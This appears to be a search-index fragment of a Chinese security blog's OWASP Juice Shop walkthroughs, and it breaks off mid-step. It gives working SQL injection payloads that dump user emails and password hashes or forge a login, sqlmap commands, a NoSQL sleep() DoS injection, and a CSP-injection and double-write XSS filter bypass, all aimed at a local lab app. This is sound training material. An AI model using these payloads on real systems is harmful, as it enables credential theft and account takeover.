","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:1","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#步骤1发现注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：确定列数 使用 ORDER BY 逐步增加列数，直到出现错误： -- 测试 9 列 \u0026#39;)) ORDER BY 9-- -- URL 编码格式 \u0026#39;))+order+by+9-- 结果： 确认查询结果共有 9 列。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:2","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#步骤2确定列数"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：使用 SQLMap 获取数据库结构 第一步：保存请求包 将请求保存到 request.txt 文件： GET /rest/products/search?q=* HTTP/1.1 Host: 127.0.0.1:3000 第二步：列出所有表 sqlmap -r request.txt -p q --tables --batch --ignore-code=401 第三步：列出 Users 表的列 sqlmap -r request.txt -p q -T Users --columns --batch --ignore-code=401 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:3","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#步骤3使用-sqlmap-获取数据库结构"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：确定显示位置 构造 UNION SELECT 测试每列的显示位置： 1\u0026#39;)) UNION SELECT \u0026#39;1\u0026#39;,\u0026#39;2\u0026#39;,\u0026#39;3\u0026#39;,\u0026#39;4\u0026#39;,\u0026#39;5\u0026#39;,\u0026#39;6\u0026#39;,\u0026#39;7\u0026#39;,\u0026#39;8\u0026#39;,\u0026#39;9\u0026#39; FROM Users-- URL 编码格式： 1\u0026#39;))+UNION+SELECT+\u0026#39;1\u0026#39;,\u0026#39;2\u0026#39;,\u0026#39;3\u0026#39;,\u0026#39;4\u0026#39;,\u0026#39;5\u0026#39;,\u0026#39;6\u0026#39;,\u0026#39;7\u0026#39;,\u0026#39;8\u0026#39;,\u0026#39;9\u0026#39;+FROM+Users-- 结果： 确认各列的显示位置。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:4","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#步骤4确定显示位置"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤5：提取所有用户凭据 构造最终的注入 Payload，使用 -1 让正常查询结果不显示： -1\u0026#39;)) UNION SELECT id, email, password, \u0026#39;4\u0026#39;, \u0026#39;5\u0026#39;, \u0026#39;6\u0026#39;, \u0026#39;7\u0026#39;, \u0026#39;8\u0026#39;, \u0026#39;9\u0026#39; FROM Users-- URL 编码格式： -1\u0026#39;))+UNION+SELECT+id,+email,+password,+\u0026#39;4\u0026#39;,+\u0026#39;5\u0026#39;,+\u0026#39;6\u0026#39;,+\u0026#39;7\u0026#39;,+\u0026#39;8\u0026#39;,+\u0026#39;9\u0026#39;+FROM+Users-- Payload 说明： 部分 说明 -1 让原始查询返回空结果（不存在 ID 为 -1 的商品） UNION SELECT 将 Users 表数据附加到结果中 id, email, password 提取用户 ID、邮箱和密码哈希 '4','5','6','7','8','9' 填充剩余列（占位符） FROM Users 数据来源表 -- 注释掉后续 SQL 代码 结果： 成功获取所有用户的邮箱和密码哈希！ 挑战完成！ 🎉 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:5","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#步骤5提取所有用户凭据"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - User Credentials ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:2:0","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析商品评论接口，发现 NoSQL 注入漏洞，利用 sleep() 函数让服务器休眠，完成拒绝服务攻击挑战。","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:0:0","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#juice-shop-nosql-dos通过-nosql-注入让服务器休眠"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r让服务器休眠一段时间。（它为您做了足够多的艰苦工作）\r💡 官方提示 (Hints)\r1. 这个挑战本质上是一种简化的拒绝服务（DoS）攻击。 2. 如架构概述所述，OWASP Juice Shop 使用 MongoDB 的衍生版本作为其 NoSQL 数据库。 3. 将此挑战归类为 NoSQL 注入类别，完全暴露了预期的攻击途径。尝试其他方法都无法解决该挑战，即使可能产生相同结果。 4. 尤其需要注意的是，向应用程序发送海量请求并不能解决这个问题。这很可能只会导致服务器实例崩溃。\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:1:0","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 前置知识 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:2:0","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#0x02-前置知识"},{"categories":["security"],"collections":["juice-shop"],"content":"NoSQL 注入 vs SQL 注入 特性 SQL 注入 NoSQL 注入 目标数据库 MySQL、SQLite 等 MongoDB、CouchDB 等 注入语法 SQL 语句 JavaScript 表达式 常见函数 SLEEP()、BENCHMARK() sleep()、Date.now() 注释符 --、# //、/* */ ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:2:1","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#nosql-注入-vs-sql-注入"},{"categories":["security"],"collections":["juice-shop"],"content":"MongoDB 的 sleep() 函数 MongoDB 支持在查询中执行 JavaScript 代码，其中 sleep() 函数可以让数据库暂停执行： // 让 MongoDB 休眠 2000 毫秒（2 秒） sleep(2000) 危险性： 攻击者可以通过注入 sleep() 让服务器无响应 大量并发的 sleep 请求会导致服务器资源耗尽 这是一种简化版的拒绝服务（DoS）攻击 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:2:2","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#mongodb-的-sleep-函数"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 实战：复现漏洞 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:3:0","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#0x03-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：发现注入点 使用 Burp Suite 抓包，打开应用首页并访问任意商品详情页面，在 HTTP 历史记录中找到商品评论接口： GET /rest/products/1/reviews HTTP/1.1 Host: 127.0.0.1:3000 关键发现： URL 中的数字 1 是商品 ID，这是一个潜在的注入点。 将该请求发送到 Burp Suite Repeater。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:3:1","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#步骤1发现注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：测试注入点 测试1：输入极高数值 GET /rest/products/99999999/reviews 结果： 返回空数组，状态码 200 ✅ 测试2：输入单引号 GET /rest/products/\u0026#39;/reviews 结果： 返回错误，状态码 500 ❌ 测试3：输入双引号 GET /rest/products/\u0026#34;/reviews 结果： 返回错误，状态码 500 ❌ 结论： 该接口存在 NoSQL 注入漏洞，用户输入被直接拼接到数据库查询中。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:3:2","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#步骤2测试注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：构造 sleep() Payload 根据题目要求，将商品 ID 替换为 sleep(2000) 函数： GET /rest/products/sleep(2000)/reviews HTTP/1.1 Host: 127.0.0.1:3000 发送请求： 结果： 服务器延迟 2000 毫秒（2 秒）后才返回响应 挑战完成！🎉 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:3:3","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#步骤3构造-sleep-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - NoSQL DoS ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-nosql-dos/:4:0","tags":["juice-shop","NoSQL_注入","DoS_攻击","MongoDB"],"title":"【juice-shop】★★★★ NoSQL DoS：通过 NoSQL 注入让服务器休眠","uri":"/posts/2026/juice-shop-nosql-dos/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 SQL 盲注和 UNION 查询，在登录请求中动态创建临时用户 acc0unt4nt@juice-sh.op，无需注册即可登录，利用数据库临时性实现一次性账户。","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:0:0","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r在没有注册的情况下使用（不存在的）账号 acc0unt4nt@juice-sh.op 登录。\r💡 官方提示 (Hints)\r1. 尝试\"凭空创建\"所需的用户。 2. 用户必须具有短暂性，即\"仅持续很短时间\"。 3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。 4. 通过其他方式将用户导入数据库也无法解决此验证问题。 5. 该挑战属于注入类别的这一事实，本身就已揭示了其预期的解决思路。\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:1:0","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 前置知识 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:2:0","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#0x02-前置知识"},{"categories":["security"],"collections":["juice-shop"],"content":"临时用户的概念 Ephemeral（短暂的） 意味着用户只在当前请求中存在，不会被持久化到数据库。 实现方式： -- 不是 INSERT，而是在查询时动态构造用户数据 SELECT * FROM users UNION SELECT 15, \u0026#39;\u0026#39;, \u0026#39;acc0unt4nt@juice-sh.op\u0026#39;, \u0026#39;12345\u0026#39;, \u0026#39;accounting\u0026#39;, ... ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:2:1","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#临时用户的概念"},{"categories":["security"],"collections":["juice-shop"],"content":"SQLite 的 UNION 注入 SQLite 支持 UNION 查询，允许攻击者在查询结果中注入虚假数据。 关键特性： 列数必须匹配 数据类型必须兼容 可以使用子查询动态构造数据 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:2:2","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#sqlite-的-union-注入"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 实战：复现漏洞 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:0","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#0x03-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：抓取登录请求 使用 Burp Suite 或浏览器开发者工具抓取登录请求： POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json {\u0026#34;email\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;password\u0026#34;} ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:1","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#步骤1抓取登录请求"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：探测 SQL 注入点 在 email 字段中注入 SQL 代码，使用 ORDER BY 来确定列数： Payload 1：测试 13 列 \u0026#39; order by 13 --+ 结果： 返回正常响应 ✅ Payload 2：测试 14 列 \u0026#39; order by 14 --+ 结果： 返回错误响应 ❌ 结论： 数据库表有 13 列 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:2","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#步骤2探测-sql-注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：使用 SQLMap 进行自动化注入 第一步：保存请求到文件 创建 request.txt 文件，内容为登录请求： POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json {\u0026#34;email\u0026#34;:\u0026#34;*\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;1\u0026#34;} 第二步：列出所有表 sqlmap -r request.txt -p email --tables --batch --ignore-code=401 结果： 第三步：列出 Users 表的列 sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401 结果： ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:3","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#步骤3使用-sqlmap-进行自动化注入"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：构造 UNION 注入 Payload 使用 UNION SELECT 动态创建临时用户： \u0026#39; UNION SELECT * FROM ( SELECT 15 as \u0026#39;id\u0026#39;, \u0026#39;\u0026#39; as \u0026#39;username\u0026#39;, \u0026#39;acc0unt4nt@juice-sh.op\u0026#39; as \u0026#39;email\u0026#39;, \u0026#39;12345\u0026#39; as \u0026#39;password\u0026#39;, \u0026#39;accounting\u0026#39; as \u0026#39;role\u0026#39;, \u0026#39;123\u0026#39; as \u0026#39;deluxeToken\u0026#39;, \u0026#39;1.2.3.4\u0026#39; as \u0026#39;lastLoginIp\u0026#39;, \u0026#39;/assets/public/images/uploads/default.svg\u0026#39; as \u0026#39;profileImage\u0026#39;, \u0026#39;\u0026#39; as \u0026#39;totpSecret\u0026#39;, 1 as \u0026#39;isActive\u0026#39;, \u0026#39;1999-08-16 14:14:41.644 +00:00\u0026#39; as \u0026#39;createdAt\u0026#39;, \u0026#39;1999-08-16 14:33:41.930 +00:00\u0026#39; as \u0026#39;updatedAt\u0026#39;, null as \u0026#39;deletedAt\u0026#39; )-- Payload 说明： UNION SELECT - 将虚假数据与真实查询结果合并 SELECT ... FROM (...) - 子查询动态构造用户数据 所有 13 列都必须指定 数据类型和顺序必须匹配 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:4","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#步骤4构造-union-注入-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤5：使用 Payload 登录 在登录表单中输入 Payload 作为邮箱： 邮箱: \u0026#39; UNION SELECT * FROM (SELECT 15 as \u0026#39;id\u0026#39;, \u0026#39;\u0026#39; as \u0026#39;username\u0026#39;, \u0026#39;acc0unt4nt@juice-sh.op\u0026#39; as \u0026#39;email\u0026#39;, \u0026#39;12345\u0026#39; as \u0026#39;password\u0026#39;, \u0026#39;accounting\u0026#39; as \u0026#39;role\u0026#39;, \u0026#39;123\u0026#39; as \u0026#39;deluxeToken\u0026#39;, \u0026#39;1.2.3.4\u0026#39; as \u0026#39;lastLoginIp\u0026#39; , \u0026#39;/assets/public/images/uploads/default.svg\u0026#39; as \u0026#39;profileImage\u0026#39;, \u0026#39;\u0026#39; as \u0026#39;totpSecret\u0026#39;, 1 as \u0026#39;isActive\u0026#39;, \u0026#39;1999-08-16 14:14:41.644 +00:00\u0026#39; as \u0026#39;createdAt\u0026#39;, \u0026#39;1999-08-16 14:33:41.930 +00:00\u0026#39; as \u0026#39;updatedAt\u0026#39;, null as \u0026#39;deletedAt\u0026#39;)-- 密码: 12345 登录成功！ 🎉 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:3:5","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#步骤5使用-payload-登录"},{"categories":["security"],"collections":["juice-shop"],"content":"参考 OWASP Juice Shop 官方解决方案 - Ephemeral Accountant ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ephemeral-accountant/:4:0","tags":["juice-shop","SQL_注入","盲注","UNION_注入","SQLite"],"title":"【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户","uri":"/posts/2026/juice-shop-ephemeral-accountant/#参考"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析 Content-Security-Policy 头部，利用图像 URL 注入修改 CSP 策略，结合正则表达式过滤漏洞进行双写 bypass，最终在传统页面上执行 XSS 攻击。","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:0:0","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#juice-shop-csp-bypass绕过内容安全策略执行-xss-攻击"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r在应用的传统页面上绕过内容安全策略 CSP 并使用代码 \u0026lt;script\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 执行一个 XSS 攻击。\r💡 官方提示 (Hints)\r1. 还有比带有原生 RegEx 过滤器的旧版页面\"更好\"的了么？同样在页面中还有 CSP 注入问题！ 2. 在应用程序中找到一个界面，它看起来与其他界面相比略显古怪且过时。 3. 在尝试任何跨站脚本攻击之前，你应该先了解该页面是如何设置其内容安全策略的。 4. 对于后续的跨站脚本攻击，请充分利用基于正则表达式的自建数据净化机制中的漏洞！\r","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:1:0","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 前置知识 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:2:0","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#0x02-前置知识"},{"categories":["security"],"collections":["juice-shop"],"content":"Content-Security-Policy (CSP) 简介 CSP 是一种安全机制，通过 HTTP 响应头部限制浏览器可以加载和执行的资源类型。 常见指令： 指令 说明 script-src 控制脚本执行权限 img-src 控制图像加载权限 'self' 仅允许同源资源 'unsafe-eval' 允许 eval() 等动态代码执行 'unsafe-inline' 允许内联脚本和样式 推荐阅读： MDN - Content-Security-Policy ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:2:1","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#content-security-policy-csp-简介"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 实战：复现漏洞 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:0","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#0x03-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：注册账户并进入个人资料页面 注册一个新账户（例如 1@1.com） 登录后进入用户个人资料页面 /profile 使用 Burp Suite 抓包，观察响应头部 Content-Security-Policy 部分 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:1","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤1注册账户并进入个人资料页面"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：分析默认 CSP 策略 初始 CSP 头部： Content-Security-Policy: img-src \u0026#39;self\u0026#39; /assets/public/images/uploads/default.svg; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; 策略分析： 指令 含义 img-src 'self' /assets/public/images/uploads/default.svg 仅允许同源和默认头像 script-src 'self' 'unsafe-eval' 仅允许同源脚本和 eval() 关键发现： 没有 'unsafe-inline'，所以内联脚本会被阻止。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:2","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤2分析默认-csp-策略"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：测试修改用户名 修改用户名为 1，观察 CSP 是否变化。 结果： CSP 保持不变。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:3","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤3测试修改用户名"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：上传头像并观察 CSP 变化 上传一个本地头像文件。 上传后 CSP： Content-Security-Policy: img-src \u0026#39;self\u0026#39; assets/public/images/uploads/23.jpg; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; 观察： img-src 指令被修改为上传的图像路径。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:4","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤4上传头像并观察-csp-变化"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤5：尝试使用外部链接 在头像 URL 字段中输入一个外部链接（例如 https://www.leobenchoi.com/img/1.jpg）。 修改后 CSP： Content-Security-Policy: img-src \u0026#39;self\u0026#39; https://www.leobenchoi.com/img/1.jpg; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; 关键发现： 用户输入的 URL 被直接注入到 CSP 头部！这是一个 CSP 注入漏洞。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:5","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤5尝试使用外部链接"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤6：利用 CSP 注入修改脚本策略 构造一个恶意的图像 URL，在其中注入 CSP 指令： https://a.png; script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg 注入后的 CSP： Content-Security-Policy: img-src \u0026#39;self\u0026#39; https://a.png; script-src \u0026#39;unsafe-inline\u0026#39; \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; https://www.leobenchoi.com/img/avatar_hu_18f34c9a04f13424.jpg; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-eval\u0026#39; 效果： 现在 script-src 包含了 'unsafe-inline'，允许内联脚本执行。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:6","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤6利用-csp-注入修改脚本策略"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤7：利用正则表达式过滤漏洞 尝试在用户名字段中输入 XSS 代码： \u0026lt;script\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 结果： 被过滤了。 分析过滤机制： 对比输入和过滤结果： 输入: \u0026lt;script\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 过滤: lert(`xss`)\u0026lt;/script\u0026gt; 发现： 过滤器使用正则表达式删除 \u0026lt;script\u0026gt; 标签，但没有处理双写的情况。 ","date":"2026-04-16","objectID":"/posts/2026/juice-shop-csp-bypass/:3:7","tags":["juice-shop","CSP_绕过","XSS_攻击","正则表达式过滤"],"title":"【juice-shop】★★★★ CSP Bypass：绕过内容安全策略执行 XSS 攻击","uri":"/posts/2026/juice-shop-csp-bypass/#步骤7利用正则表达式过滤漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤8：双写 Bypass 绕过过滤 使用双写技巧绕过正则表达式过滤： \u0026lt;\u0026lt;script\u0026gt;ascript\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 工作原理： 原始输入: \u0026lt;\u0026lt;script\u0026gt;ascript\u0026gt;alert(`xss`)\u0026lt;/script\u0026gt; 第一次删除 \u0026lt;script\u0026gt;: 